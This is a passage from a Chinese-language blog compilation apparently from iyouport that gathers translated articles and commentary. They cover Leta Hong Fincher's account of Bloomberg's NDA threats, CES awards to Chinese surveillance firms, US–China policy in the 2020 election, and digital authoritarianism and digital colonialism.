我的丈夫为彭博社撰写的另一份调查报告工作了好几个月，该报告涉及中国首富之一王建林与中共高级官员的亲属包括习近平的亲戚之间的财务往来。

到目前为止，彭博社的编辑对此事表示支持。彭博社总编辑 Jonathan Kaufman 在2013年9月下旬的一封电子邮件中说："我对您追踪并挖掘财务资产和参与者的方式感到敬畏。……这是一个真实的揭露。期待将其推向高潮"。

但是，彭博社在最后一刻封杀了这个报道，在彭博社总编辑 Matt Winkler 发表的私下评论被泄漏后，该公司在**11**月解雇了我丈夫 —— **Winkler** 在公司电话会议上说："如果我们发表这篇报道，我们将被赶出中国。"

2013年11月12日，时任纽约市市长、彭博有限合伙企业的所有者 Mike Bloomberg 在被问及有关其公司出于担心冒犯中国政府而自我审查的问题时，他对此予以驳回。

然而，就在 Bloomberg 向纽约的记者发表上述评论的几天后，彭博的香港律师威胁说要迫使我们偿还该公司从北京到香港的搬迁费以及我丈夫的薪水预付款，这将损害我的家庭经济，让我们没有医疗保险或收入，如果我拒绝签署保密协议，就要把我告上法庭 —— 即使我从未担任过彭博的雇员。

代表彭博的律师事务所 Mayer Brown JSM 于2013年12月6日致信我的律师，威胁说如果我在7天内不同意他们的保密条款，法院将发出强制令。

我告诉我丈夫的律师，我不想签署那种封口令，所以彭博召集我和我丈夫于12月16日在香港中部孖士打律师行的办公室开会。

我们与彭博的一些资深编辑和 Mayer Brown 律师坐在会议桌旁，并通过视频与来自纽约彭博的 Willkie、Farr & Gallagher 的律师进行了交谈。

我丈夫的律师解释说，我没有保留任何录音或电子邮件，就是那种可能会破坏有关公司业务的证据。

"但是她脑子里的所有证据呢？"视频屏幕上的那个大个子男人说。

当彭博在纽约的律师说出这种话时，我突然想到他拿着一个巨型的吸尘器，试图把我所有的记忆吸走。

我告诉所有人，我需要离开房间，然后走出大楼，决心继续战斗。

12月20日，他们致信我丈夫，继续要求我签署保密协议。如果我不同意，我们可能会“欠”公司数千美元。我甚至可能不得不支付彭博的法律费用。

如果我不屈服于他们的威胁，彭博的想法可能使我们的家庭经济崩溃，但我也很生气，因为在我们收到威胁后，他们禁止我公开谈论这一死亡威胁，现在正试图永久剥夺我的言论自由权。

直到我聘请斯诺登在香港的律师时，彭博终于退缩了 —— Albert Ho 和 Jonathan Man 两位律师给我提供了低价，因为这是“正当的理由”。

2014年1月8日，Mayer Brown JSM 的一封信中明确指出：“由于她了解（保留）我们的客户（彭博的）机密信息，因此她需要负有持续的保密义务。”

他们要求我放弃所有发表言论的权利，例如“为客户准备的文章的未发表草稿；有关客户的新闻采访、编辑过程和社论文件…；客户的员工之间以及客户之间关于新闻采编过程和编辑判断的任何电子邮件和其他通讯（包括口头讨论）。”

Ho 是一位资深的香港亲民主立法者和维权人士，曾两次受到殴打。他告诉我，如果彭博不退缩，我们可以举行新闻发布会让他们丢脸。

幸运的是，彭博终于停止向我发送法律威胁了。我回到清华大学攻读博士学位。并出版了我的第一本关于中国妇女的书。

我的丈夫加入了《纽约时报》，重新报道了关于中国商人王健林的整个故事，就是彭博社拒绝发表的那篇报道，他的报道于2015年4月下旬发表在《纽约时报》的首页上。

我从来没有想过公开彭博的威胁行为，并且真的为财务崩溃感到恐惧，因此尽管保留了言论自由，但我从未写下过自己的经历。

我现在把这件事说出来，是因为我与其他许多女性不同，我不受保密协议的约束。

很明显彭博公司存在性别歧视的环境。彭博的经理和律师视我为公司财产，是我丈夫的附属物，利用恐吓和威胁试图欺负我 ……

即使是现在，我仍然担心说出来的后果。但是，我们说的越多，我们就能越强大。〇

Leta Hong Fincher is a journalist and scholar who has won several awards for her reporting on China, including the Society of Professional Journalists Sigma Delta Chi Award. She is the author of "Betraying Big Brother: The Feminist Awakening in China" and "Leftover Women: The Resurgence of Gender Inequality in China." She is a supporter of the presidential campaign of Elizabeth Warren, and has both donated to her and volunteered for her.

When Bloomberg News's Reporting on China Was Challenged, Bloomberg Tried to Ruin Me for Speaking Out

原文

技术超级碗CES正在帮助中国监视公司清理形象 - iyouport

作恶者：谁在帮中国关于高堡奇人

【2020年3月25日存档】在过去两年中，有两家因侵犯人权而被列入黑名单的中国公司赢得了“创新奖”，并因此重返CES。他们从这个全球最大的展览会获得了荣耀……

CES通常被认为是技术超级碗，每年一月有4,000多家公司涌向拉斯维加斯，以炫耀诸如机器人助手和会说话的厕所之类的创新技术。

但是，人权和隐私倡导者说，这个全球最大的消费技术贸易展览会现在正被用来为这两家被举报侵犯人权行为的中国监视公司提供信誉。

第一家是 iFlytek，是中国顶级的语音识别公司和人工智能巨头。

关于 **iFlytek**：

- 《中国在西藏构建了强悍的数字隔离墙》
- 《一臂之厉：美国企业正在帮助建立中国的奥威尔国家》
- 《维族妇女对战中国的监视国家》

第二个是全球最大的监控摄像头供应商海康威视（Hikvision），其美国分公司 Ezviz 销售所谓的智能家居产品。

关于海康威视：

- 《中国老大哥在纽约》
- 《美国人正在从中国的警察国家暴力中获利》
- 《侵入英国》
- 《中美 1984 在海湾的黑手》
- 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》
- 《数字威权主义的兴起: 灾年之畔》
- 《🔭 中国版老大哥的世界之旅》

- 《是谁在中国政府的监视社会计划中大发横财？》

去年6月，华盛顿把这两家公司列入了黑名单；但是一个月后，iFlytek 和 Ezviz 仍被美国贸易组织消费者技术协会（Consumer Technology Association）举办的 CES 2020 在与会者中列出。

他们在展会上的身影为他们提供了一个全球舞台，他们有机会展示自己是“友好的、精通技术的组织”，可以在美国政府批准他们采取行动后，更具合法性。

人权观察组织高级研究员 Maya Wang 说：“这种关系给了那些在中国助长侵犯人权行为的公司一个合法的角色，使人权组织难以再询问更多问题”。

海康威视、Ezviz 和 iFlytek 没有回应多条评论请求。

消费者技术协会（Consumer Technology Association）的一位发言人说，该公司仍在参加明年展会的名单上。

该组织没有回应有关海康威视子公司Ezviz的置评请求。

但是其他人则要求该组织采取行动。

俄勒冈州民主党参议员罗恩·怀登（Ron Wyden）在一份声明中说：“我敦促CES重新考虑这一决定。中国新疆集中营的参与者不应在美国首屈一指的消费电子产品展览会上展示其产品。”

- 《开源调查图解新疆”再教育”营》

Ezviz 和海康威视的关系

Ezviz 成立于2013年，被描述为一家智能家居安全公司，并在CES目录中列为位于加利福尼亚州的企业。

它提供面部识别等功能来识别门外的人，并提供可与语音助手（包括亚马逊的Alexa）集成的视频门铃等小工具。

该公司还提供可以创建您的朋友和家人数据库的技术。 Ezviz 在2016年表示拥有超过**1000**万用户。*An Ezviz security camera shown off at CES 2018.Tyler Lizenby/CNET*

该公司在其网站上说：“ EZVIZ 通过其智能设备、基于云的平台和AI

技术为用户创造了安全、便捷和智能的生活。”

- 关于所谓的“智能、便捷” 指的是什么《你家冰箱如何作为呈堂证供？》

Ezviz 对与母公司的关系持开放态度，但在其网站上并未提及海康威视在中国侵犯人权的历史。

美国商务部于去年10月7日将海康威视与 iFlytek 一起列入了经济黑名单，理由是有证据表明他们正在帮助压迫新疆地区的维吾尔族穆斯林。

商务部在一份声明中说：“特别是，这些实体牵涉到中国实施镇压运动、大规模任意拘留、以及对维吾尔人、哈萨克人和其他穆斯林少数民族成员进行高科技监视的运动中的侵犯人权行为。”

海康威视已获得超过2.7亿美元的合同，在中国提供数千个监视摄像头，其中许多被安放在拥有超过100万维吾尔族穆斯林的清真寺和拘留营中。

英国政府也知道海康威视的声誉。 3月，国会议员要求该公司提供在新疆和西藏的监视合同，称这是对人权的滥用。

立法者批评海康威视的监视和面部识别能力，并写道：“这种技术的复杂性及其危险的使用是引起人们严重关注的严重原因。”

据人权观察组织称，**iFlytek** 正在与中国警方合作建立语音识别数据库，警务人员可用来识别电话中任何目标人的身份。

关于语音识别：

- 《提醒注意大规模监视新途径：国际刑警组织使用 192 个执法机构的样本推出*国际语音识别数据库*》
- 《强行收集声纹》
- 《匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？》

Hikvision cameras in a mall in China. The surveillance camera provider is the parent company of Ezviz.Fred Dufour/AFP via Getty Images

CES 奖励赢家

人权倡导者说，鉴于海康威视和 iFlytek 被公开的有关侵犯人权行为的历史，CES 决定为两家公司提供一个展示其技术并向其授予创新奖的平台的决定令人担忧。

人权观察的报告发布两年后，iFlytek 在CES上获得了“科技促进更美好世界”类别的奖项。

海康威视的子公司 Ezviz 在2018年凭借其所谓的智能门镜赢得了创新奖，该智能门镜使用户能够创建 “可信任访客” 的数据库。

当在10月9日被问及有关 iFlytek 的担忧时，CTA表示 ‘需要时间采取行动“，因为美国政府的实体清单仅在两天前发布；但批评者在指出，Ezviz 和海康威视与侵犯人权的关系已经众所周知多年了。

“为一家据证明在中国受到严重压制的地区卷入侵犯人权行为的公司授予奖项，似乎是不合适的，我希望组织者对这一决定进行评估。”

CTA没有评论授予 iFlytek 和 Ezviz 的奖项的问题，但是两家公司一直在使用该组织的认可来促进其业务发展。

Ezviz 总经理 Albert Lin 在2018年获奖后的一份声明中说：“我们很荣幸获得CTA这样的组织的认可。EZVIZ 致力于提供直观的智能家居产品和应用程序，使客户能够看到、捕获、共享和保护对他们最有价值的东西。”

iFlytek 在2019年1月告诉一家中国新闻社，它认为CES “是展示我们创新能力的绝佳平台”。

监控技术监督项目主管 Albert Fox Cahn 说，不应允许这些公司在大型技术展览会上展示其技术和产品，并清理其公众形象。

Cahn 的非营利组织致力于制止歧视性监视。他说，“当一家公司出售这项技术以延续过去50年来最严重的侵犯人权行为之一时，它们应该在我们的消费者经济中失去任何地位。” ○

CES may be helping Chinese surveillance companies clean up image, experts warn

原文

拜登政府在中国问题上会比特朗普”软”吗？ - iyouport

关于高堡奇人

【2020年10月27日存档】与北京的关系将在美国总统竞选中占据重要地位……

【按】这是经济学人的文章，可以说没有准确地声明立场，但是已经在暗示拜登继任 “会更好”。而在IYP关注的主题如监视（包括监视资本主义体制）、透明度革命（打击吹哨人）和战争方面，我们认为这两党并没有什么区别，不存在哪一个 “更好”。

我们也没有寄希望于等待白宫帮中国 “改革”（如果您是改革派，也许会对这篇文章更感兴趣）。我们曾经发布的很多内容都能说明为什么我们不是改革派。

经济学人没有说错的一点是，北京的确把赌注放在了美国年底的这场大选上，于是自7月以来，北京一直在努力扮演受害者。但这样有用吗？

这篇文章也的确透露了一些有趣的东西，比如，两党将对中国政策的强硬程度作为选举较量的重点，而非国内民生 ……

总之，IYP认为2020再次是一场没有黑马的选举。

- 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》
- 《主流刊物之一说：美国”需要”像中国那样的互联网审查》

上图中这本书在这里下载：*https://www.patreon.com/posts/mei-zhong-zhi-de-40002135*

根据 Bob Davis 和 Lingling Wei 的新书，2018年12月，特朗普政府中的 “中国鹰派” 在内部推行了一系列的惩罚措施，有人将其称为 “折腾中国周”。

而这与2020年7月发生的事情相比根本不算什么。

7月，美国对包括一名中共政治局委员在内的中国高级官员实施了制裁，理由是他们参与了对新疆维吾尔族人的暴行；还有将11家中国公司列入商务部的黑名单，理由是他们是这些暴行的同谋；并且宣布中国在南中国海的领土主张是非法的；加上取消了香港的外交和贸易特殊地位。

宣布对四名中国人提出刑事指控，据说他们是中国人民解放军的间谍；并下令关闭了中国驻休斯敦的领事馆，据说这是1979年中美关系正常化以来的首次行动（中国以关闭美国驻成都领事馆作为报复）。

休斯敦出现麻烦的第一个苗头是，网上泄露出中国外交官在院子里匆忙焚烧文件的视频 —— 这是对40多年外交关系灰飞烟灭的一个恰当的比喻。

所有这一切都发生在 Donald Trump 的领导之下 —— 特朗普表现出对中国同行习近平的个人亲和力，并且（据他的前国家安全顾问 John Bolton 所说）特朗普告诉习近平，把维吾尔人放进集中营里是“正确的事”。

- *John Bolton* 的书可以在这里下载：https://www.patreon.com/posts/39960446

除了在贸易问题上，以及为了转移公众对他应对 covid-19 不力的指责，特朗普几乎没有表现出与中国战斗的欲望。

但是，随着他的第一个任期 —— 或许也是他的整个总统任期 —— 所剩下的时间不多了，他身边的鹰派官员们正试图以更具体的方式搞出一个比 Richard Nixon 访华之前美国所采取的那种更加具有对抗性的姿态。

7月23日，在加州尼克松总统图书馆，国务卿迈克·蓬佩奥结束了高官们在几周内的四次系列演讲，将中国政权描绘成“全球自由和民主的最大威胁”。国家安全顾问 Robert O’Brien、联邦调查局局长 Christopher Wray、司法部长 William Barr 和蓬佩奥认为，中国试图将其意识形态和“控制性思想”输出到境外。

他们指责美国企业负责人和好莱坞电影公司向北京屈服，警告中国在美国进行广泛的间谍活动，并争辩说：习近平正在进行长达数十年的“全球霸权”追求。

蓬佩奥说，美国及其盟友必须推动中国改变，否则就有可能将21世纪拱手让给习近平的独裁愿景。“与中国盲目接触的旧模式根本无法完成任务”，他说，“如果我们现在屈膝，我们的子孙后代可能都将受到中共的摆布。”（“旧模式”是在暗示民主党）

在这些演讲中，未被点名的 —— 但却是这些演讲不可避免的背景 —— 是乔·拜登和总统竞选活动。

特朗普的竞选团队希望把这位民主党的总统候选人描绘成对中国的软弱，暗示拜登在担任副总统时低估了中国的威胁。

一位高级政府官员说，推动最近行动的部分战略是将中美关系设定在一个 **无论谁在11月获胜都难以扭转** 的轨道上。

一些官员认为，在国会两党广泛鹰派共识的帮助下，他们已经接近实现这一目标，国会已经通过了针对维吾尔人和香港待遇的强硬立法。共产党自己的行动 —— 把新疆变成古拉格、剥夺香港的法治 —— 几乎可以肯定地确保了美国无法完全恢复到以前与中国的关系。

不过，政府外的一些鹰派人士，包括一些说他们会投票给拜登的人，正担心拜登在气候变化和核武控制等问题上寻求合作时，与习近平的对抗性会降低。

拜登的许多外交政策顾问不可避免地是奥巴马政府的资深人士。鹰派人士揶揄说，民主党为了一些事例如巴黎协定，便过于轻易地接纳了中国的崛起。拜登政府会不会也变得更软弱？

不会有更多的“软”了

拜登的顾问们从几个方面进行了反击。

首先，他们认为，拜登将通过高喊中国侵犯人权来恢复道德权威。

第二，他们说，拜登打算与盟友合作，迫使中国改变其行为。

第三，他将在国内投资，使美国在5G等领域成为更强大的竞争对手。

- 《乔治拜登的儿子投资中国’老大哥’监视技术》
- 《人工智能新冷战—— AI和5G如何变成一场噩梦》

他们认为，特朗普在这三条战线上都削弱了美国相对于中国的地位：为侵犯人权行为开绿灯；破坏盟友，同时向独裁者妥协；让美国的机

构和基础设施腐烂。

拜登的顾问 Tony Blinken 说："因为特朗普，我们变弱了，而中国变强了"。

特朗普的官员强调他们的行动，而不是总统的话。在7月的大动作之前，官员们已经采取行动切断美国对华为的技术供应，这是反对该电信巨头的运动的一部分，在盟友中赢得了一些支持。

英国现在已经表示，它将禁止华为进入其网络（澳大利亚比美国更早这样做）。

- 《西方如何养肥了华为又"成就了"种族灭绝监视综合体？》
- 《中国症候群：当3Com遇到华为》
- 《华为之战的虚伪：技术的巴尔干化》

美国联邦调查局采取了更积极的方式调查中国间谍活动 —— 在关于中国的演讲中，Wray 说他每十个小时就会开一个新的案子。

国务院最近决定取消多达3000名与中国军事机构有关的研究生的签证，这是对来美国学习或研究的中国人进行审查的最新动向。而国防部在南中国海和台湾海峡开展航行的态度也变得更加强硬。

- 报告《美国、中国和俄罗斯：暗网最强大的民族国家骇客》

最具挑衅性的或许是对台湾总统蔡英文的支持。这就提出了一个问题，即 他们在考验中美关系最微妙的一个方面时可能会走多远。

一位高级官员说，在经历了几十年的风险规避外交之后，政府决心为中国的行为做点什么。

拜登的顾问们声称奥巴马政府对中国态度强硬是站不住脚的。一个更有说服力的论点是，虽然他身边有中国鹰派人士，但特朗普自己也不是鹰派人士，他可以一下子就削弱自己的政府政策。

他在6月的一次采访中承认，他之所以推迟就新疆问题对中国官员实施制裁，是因为他不想危及贸易协议。而他最热衷的政策 ——关税 —— 一直是失败的，从中国获得了一个购买更多农产品的脆弱协议（**Bolton** 说，总统要求习近平这样做是为了帮助他赢得连任）。

选民们似乎不以为然。在萨福克大学和《今日美国》6月底进行的一项民调中，51%的受访者认为拜登在处理中国问题上会做得更好，而

认为特朗普会做得更好的人比例为41%。

在周围鹰派人士的怂恿下，特朗普是否愿意对中国采取更激进的措施？

幕僚们最近考虑过的想法包括禁止所有9200万共产党员及其家属访问美国，或者制裁香港的中国银行。这些对特朗普来说可能太过挑衅了——但是随着大选的临近，也许这些做法会显得不那么挑衅。

在中国，到目前为止，官员们的反应是相对克制的。他们也可以阅读民意调查，可能想看看目前的关系轨迹是否在1月后还能继续。

一些宣传家提出，北京希望特朗普获胜，理由是，像 Blinken 一样，他削弱了美国的战略地位，加强了中国的战略地位。

这可能是虚张声势。或者他们也可能认为拜登是一个会在人权等问题上支持强硬对话的人，而不是把原则问题变成讨价还价的筹码。

在这一点上，即使是对拜登持谨慎态度的鹰派人士也不怀疑他的诚意。自他担任副总统以来，中国已经发生了变化，华盛顿的精英共识也发生了变化。

而要结束中美关系的黑暗新时代，需要的不仅仅是一场选举。〇

Would a Biden administration be softer than Trump on China?

原文

数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极 - iYouPort

中东和北非关于高堡奇人地缘政治

这篇文章的大部分来自 Foreign Policy in Focus (FPIF)，看起来该智囊团倾向于利用政治而不是技术，来解决数字威权主义的问题；并且倾向于依赖美国这个全球监视资本主义的发源地做出改变。

这显然是个相对狭隘的角度。

文章的其余部分我们很同意；于是我们修改了它的部分观点。原文链接在文末。如果您感觉某些部分不容易理解，请参见超链接。

「图」

「图」

尽管有明确的相反证据，特朗普总统依旧声称，“没有人能直接指责王储穆罕默德·本·萨勒曼”谋杀了著名的沙特记者 Jamal Khashoggi。

记者指出了中央情报局和联合国提供的调查结果，即 萨勒曼可能会直接授权法外处决，但是特朗普对这个调查结果提出了质疑，并重申了他与王储的关系强度：“我与穆罕默德相处融洽。”

特朗普绝对不是第一个公然无视国际侵犯人权行为的美国总统，特别是当侵犯人权罪行是由美国盟友犯下的时候。

然而，这种动态似乎在特朗普的领导下降至了新低 —— 特朗普不仅给予了专制领导人以绝对支持的态度、并且，继续提供重要的军事资源，以实际行动支持中东和北非地区的非民主政权。

斯坦福大学研究员拉里·戴蒙德（Larry Diamond）研究当前全球民主倒退的问题，他认为，“只有美国再次承担起推动民主的斗争，民主的衰落才会逆转”。

然而，作为全球监视资本主义专制和数字殖民的发源地，美国需要思

考的东西不只有“再次承担”这么简单。

一个重要但经常被忽视的方面是，高科技监视和审查技术的扩散如何帮助支持了专制政权，通过在线监控其整个社会、控制所有可用信息、"在全球范围内"跟踪和扼制持不同政见者。

联合国公布的关于谋杀 Khashoggi 的长达100页的报告中指出：“沙特当局通过使用以色列间谍软件 Pegasus 感染了 Abdulaziz 先生的电话，获得了 Khashoggi 与[沙特籍流亡异议人士] Abdulaziz 先生的私密通信”，这就是 Khashoggi 被谋杀的原因。沙特否认这些指控。

间谍软件来自以色列臭名昭著的NSO集团，这是一家监视技术公司，已被发现向全球专制政权出售侵入式监控技术。该集团在今年早些时候由美国私募股权公司 Francisco Partners 拥有。

使用以色列制造的监视技术杀人，只是近年来在沙特阿拉伯发生的一系列数字权利侵犯行为中的一个而已。

自由之家的报告指出：“沙特的互联网自由度在2018年因各种形式的针对政治、社会和宗教异议的不容忍升级而下降。”

根据卡塔尔西北大学的一份报告，在沙特现在有54%的人使用VPN或类似服务，企图将他们的互联网流量隐藏在政府监控之外以规避审查。

同样，在埃及 —— 美国的维稳援助每年仍为13亿美元的国家 —— 该国政权对所有潜在的异议空间均进行了暴力镇压，包括在线空间。

据人权观察组织称，埃及独裁总统阿卜杜勒·法塔赫·西西被特朗普称为“一个伟大的人物” —— 这位伟大人物监禁了大约6万名政治犯。

人们因在线分享信息而被捕，有人仅仅因为把米老鼠的耳朵P在了总统照片上而被捕。

随着各国政府越来越希望通过抑制在线言论自由来维持其统治，民主自由受到了整体性的破坏。

然而，审查制度不仅仅源于对抑制国内异议的需求。区域内冲突也越来越多地影响了当权者对内容的控制。

伯克曼克莱因研究中心的 Helmi Norman 发现：“国家审查机构阻止了很多有关冲突的观点和报道，只因这些观点和报道与政权自己的叙

述相矛盾”。

防止其他观点的传播可能只会拖延和加剧该地区的冲突，因为公民无法看到各种各样的观点。

特朗普不仅在这个问题上保持沉默，而且，还有越来越多的证据表明，美国公司直接与专制政权技术制造商合作。

正如 The Intercept 最近的一份调查报告显示，IBM 和微芯片制造商 Xilinx 已经与 Semptian 合作 —— 这是一家以创建监控技术而闻名的中国公司。

随着监视技术出售的不透明现象日益紧张，联合国言论自由问题特别报告员 David Kaye 向联合国提出了全球暂停销售间谍软件的建议。

他写道：“对特定个人 —— 通常是记者、活动家、反对派人士、批评者和行使言论自由权的其他人 —— 的监视，已被证明会导致了严重的任意拘留，有时甚至遭受酷刑，甚至可能导致法外处罚”。

除了暂停销售之外，世界各国政府也必须开始公开谴责对这种压迫性技术的使用。“那些对其公民下黑手的政权并不仅仅认为特朗普政府只是容忍他们的破坏性冲动，而是肯定了他们的行为。”

为了全球民主和国际人权，政府必须考虑到数字权利的滥用以及盟友如何使用、分享和出售这些监视技术。如果不能实现这一目标，严重的侵犯人权行为可能只会继续蓬勃发展。

Jamal Khashoggi 生前说过的最后一些话是这样的：

“曾经有一段时间，记者们相信互联网将从与印刷媒体相关的审查和控制中解放信息。但这些依赖信息控制的政府已经成功阻止了互联网。”

要知道，这个集中化的互联网并不存在解放力量，因为基础设施并不是民主的，监视和审查就内嵌在这个互联网里；曾经人们一直被欺骗着。现在人们明白了这个道理，变革的时间才真的到来。

数字威权主义在全球崛起，并没有凸显在哪个地区，这足够提醒人们关于为什么技术有利于暴政的思考。

期待对人性之疯狂的主动抑制并不现实，民主能做的最好的事就是，让疯狂难以实现。这就是技术能做到的事，而非政治。〇

Emboldened by Donald Trump, U.S. allies are leading the charge toward greater authoritarianism in the region.

原文

数字殖民主义：帝国的演变 - iyouport

关于高堡奇人

单一主题的反抗运动和局限于本土的反抗运动，都将很难取得真正的成功

【按】我们经常提到 “数字殖民” 这个概念，这是一个很有历史的反抗运动，最近几年里再次出现高峰。

当谈论 “高堡奇人” 的时候，它所暗示的一部分包括中国和美国做着同样的事，其中最重要的部分就是数字殖民。比如美国的监视技术用南方国家的人口做实验，之后将其用来针对本国的异议人士；中国的监视技术也在出口到其他国家，甚至包括西方国家，并用来在本土监视政治异议（在我们的 列表-4 中看到详细内容）。而且远不止于这些。

如今在触及中美关系的观察和评论中您经常会能听到 “新冷战” 这个词，它所展示的是两个帝国争霸的世界。但是，正如美国反抗者一直在强调的；中国是否可以算作帝国，或者说，中美争霸的图景是否真实，是可疑的和缺乏证据的。换句话说，今天的中国并没有苏联当年的地位，虽然并不意味着它未来不会有。（这就是为什么我们在对话中强调中国的 “帝国潜质”，而不是 “帝国的事实”）

新冷战这个概念的流行所带来的诸多后果中就包括对安全技术的指导性选择计划，比如几个月前下面这个帖子中所展示的思考方式（这种思考方式在美国异议人士中非常流行 —— 请注意，不是 “美国的” 异议人士，这意味着不止包括美国人。Kim Dotcom 出生于德国，现居新西兰）：

然而这是非常糟糕的。虽然用 **business** 而不是意识形态来思考是正确的，但是，第一段话中最后一句并不准确 —— “中国不想要美国的后门”，是的，但是这很难做到，至少在数年内都很难做到。如果美国反抗者据此作为逃离美国间谍机构的指导方针，那就绝对错了。

这篇文章详细介绍了什么是数字殖民、这些殖民者都做了什么、中国

和美国在此有什么共同点和区别？据此分析中美关系的真实状态。

本文作者 Michael Kwet 在罗兹大学获得社会学博士学位，是耶鲁大学法学院信息社会项目的访问学者。他是《数字殖民主义》这本书的作者，“科技帝国” 播客的主持人，曾在VICE新闻、The Intercept、纽约时报、半岛电视台、和 Counterpunch 发表文章。

这并不是一个全新的观点，它已经存在很久了 —— 比 Kwet 在书中的论述和他的博客的年龄更久，但是，当下了解这一观点有着前所未有的重要性；如您所知，拜登政府正在计划今年9月的阿富汗撤军，如果撤军计划成功，将意味着阿富汗不再是至关重要的地缘战略控制点。然而，空窗是不可能的。那么，下一个至关重要的地缘战略控制点是哪个国家？中国、俄罗斯和伊朗是最可能的选项。

目前为止我们希望继续对停止战争的可能性存疑（部分撤军的可能性更高一些）。

这篇文章最后正确地指出了联合反抗的必要，类似此前另一篇文章《抵抗中国的资本主义：国际联盟的理由》中所描述的战略思考，因为单一主题的反抗运动和局限于本土的反抗运动，都将很难取得真正的成功。

科技巨头公司通过控制全球南方的商业、劳工、社交媒体和娱乐业，获得了大量利润。

2020年，亿万富翁们像强盗一样赚得盆满钵满。杰夫·贝佐斯的个人持股从1130亿美元飙升至1840亿美元；埃隆·马斯克短暂地超越了贝佐斯，净资产从270亿美元上升到超过1850亿美元。

对于主持科技巨头公司的资产阶级来说，生活是盛大的。

然而，虽然这些公司在国内市场上扩大的主导地位是众多批判性分析的主题，但它们的全球影响力却是一个很少被讨论的事实，尤其是在帝国控制之下的知识分子。

事实上，一旦我们调查了机制和数字，就会发现，科技巨头不仅在全球范围内存在，而且从根本上讲，它具有殖民主义的特征，这种现象被称为 “数字殖民”。

在我们生活的世界里，数字殖民主义现在有可能成为对全球南方的重大和深远的威胁，就像前几个世纪的传统殖民主义一样。不平等现象的急剧增加、国家-公司监控的兴起以及先进的警察和军事技术，只是

这种新世界秩序的几个最为明显的后果。对一些人来说，这种现象可能听起来很新奇，但是，在过去几十年里，它已经成为全球现状的根基。如果没有一个相当强大的反强权运动，情况将变得更加糟糕。

什么是数字殖民主义？

「图」

数字殖民主义是指利用数字技术对另一个国家或地区进行政治、经济和社会统治。

在传统的殖民主义下，欧洲人夺取并定居在外国土地上；建立基础设施，如军事堡垒、海港和铁路；部署炮艇进行经济渗透和军事征服；建造重型机械和剥削劳动力以提取原材料；建立全景结构以警戒工人的反抗；为先进的经济剥削调集所需的工程师（如化学家以提取矿物）；为制造过程抽走土著知识；将原材料运回母国生产成品；用廉价的制成品破坏全球南方市场；使南方人民和国家在不平等的全球分工中长期处于依赖地位；扩大市场、外交和军事统治以获取利润和掠夺。

换句话说，殖民主义依赖于对领土和基础设施的所有权和控制，依赖于对劳动力、知识和商品的提取，依赖于国家权力的行使。

这一过程经过几个世纪的演变，随着技术的发展，新技术也被加入其中。到十九世纪末，海底电缆为大英帝国的电报通信提供了便利。在记录、存档和组织信息方面的新发展被美国军事情报部门利用，首先用于征服菲律宾。

今天，乌拉圭记者爱德华多·加莱亚诺所说的全球南方的“开放脉络”是横跨大洋的“数字脉络”，为少数主要是美国公司拥有和控制的科技生态系统布线。一些跨洋光缆上装有谷歌和 **Facebook** 等公司拥有或租用的线路，以进一步实现其数据提取和垄断。

如今的重型机械是亚马逊和微软主导的云服务器农场，用于存储、汇集和处理大数据，像帝国军事基地一样扩散。工程师是由精英程序员组成的企业大军，他们拥有25万美元以上的优厚薪水。被剥削的劳动者是在刚果和拉丁美洲开采矿产的有色人种，是在中国和非洲注释人工智能数据的廉价劳动力大军，是在清理社交媒体平台上令人不安的内容后患有创伤后应激障碍的亚洲工人。平台和谍报中心（如 **NSA**）是泛在的，数据是基于人工智能服务的原料加工。

更广义地说，数字殖民主义是为了巩固不平等的分工，主导国利用其对数字基础设施、知识的所有权、和对计算手段的控制，使南方国家长期处于依赖的状态下。这种不平等的分工已经演变。在经济上，制造业的价值等级已经下移，被科技巨头公司牢牢掌控的先进高科技经济所取代。

数字殖民主义的架构

「图」

数字殖民主义植根于对构成计算手段的数字世界的 “东西”—— 软件、硬件和网络连接 —— 的支配。

它包括作为守门人的平台、中介服务提供者提取的数据和行业标准，以及 “知识产权” 和 “数字情报” 的私人所有权。从劳动剥削、政策捕获、经济规划、到情报服务、统治阶级霸权和政治宣传，数字殖民主义已经与资本主义和专制治理的传统工具高度融合。

先看软件，我们可以看到这样一个过程：曾经被程序员自由、广泛共享的代码越来越私有化，越来越受到版权的制约。上世纪七八十年代，美国国会开始加强软件版权。与此相对应的是 “自由开源软件”（FOSS）许可的形式，它赋予用户使用、研究、修改和共享软件的权利。这对全球南方国家有内在的好处，因为它创造了一个 “数字公地”，摆脱了巨头公司的控制和利润的驱动。然而，随着自由软件运动在南方国家的传播，它引起了企业的反击。当秘鲁政府试图摆脱微软的专有软件时，微软蔑视了秘鲁；它还试图阻止非洲各国政府在政府部委和学校内使用GNU/Linux FOSS操作系统。

在软件私有化的同时，互联网也迅速集中到 Facebook 和谷歌等中介服务提供商手中。最关键的是，向云服务的转移使自由开源软件许可给予用户的自由化为乌有，因为软件是在科技巨头公司的电脑上执行的。

企业云剥夺了人们控制自己电脑的能力。云服务向企业提供**PB**级的信息，企业利用这些数据来训练他们的人工智能系统。人工智能利用大数据来 “学习”—— 它需要数以百万计的图片来识别，比如，字母 “A” 的不同字体和形态。当应用到人类身上时，人们个人生活的任何敏感细节就都成了科技巨头们孜孜不倦地想要提取的非常宝贵的资源。

在南方国家，大多数人基本上只能使用低配手机，数据量很少。因

此，大多数人将 Facebook 等平台当作“互联网”来体验，于是他们的一切数据就被帝国所消费了。

大数据的“反馈效应”让情况变得更糟：那些拥有更多更好数据的人可以创造出最好的人工智能服务，从而吸引更多的用户，而这些用户又给了他们带来更多的数据，让他们把服务做得更好，以此类推。（《硅谷投资公司从监视国家中获利》）

就像经典的殖民主义一样，数据已经被帝国摄取为原材料，帝国对数据进行加工，制造出服务回馈给全球公众，这进一步加强了他们的统治，让其他所有人都处于从属地位。

这就是为什么硅谷不希望与中国“决裂”，因为这意味着失去全球最大的数据市场之一：《美国科技公司仍想与中国更多合作》。

塞西莉亚·里卡普在其即将出版的《资本主义、权力与创新：知识垄断资本主义揭秘》一书中展示了这些科技巨头是如何将他们的市场力量建立在他们的知识垄断之上的，他们指挥着一个复杂的由下属公司组成的商品链，以获取租金和剥削劳动力。这使他们有能力积累“知识人”和“诀窍”来规划和组织全球价值链，也有能力将知识私有化，征用知识公共资源和公共研究产出。

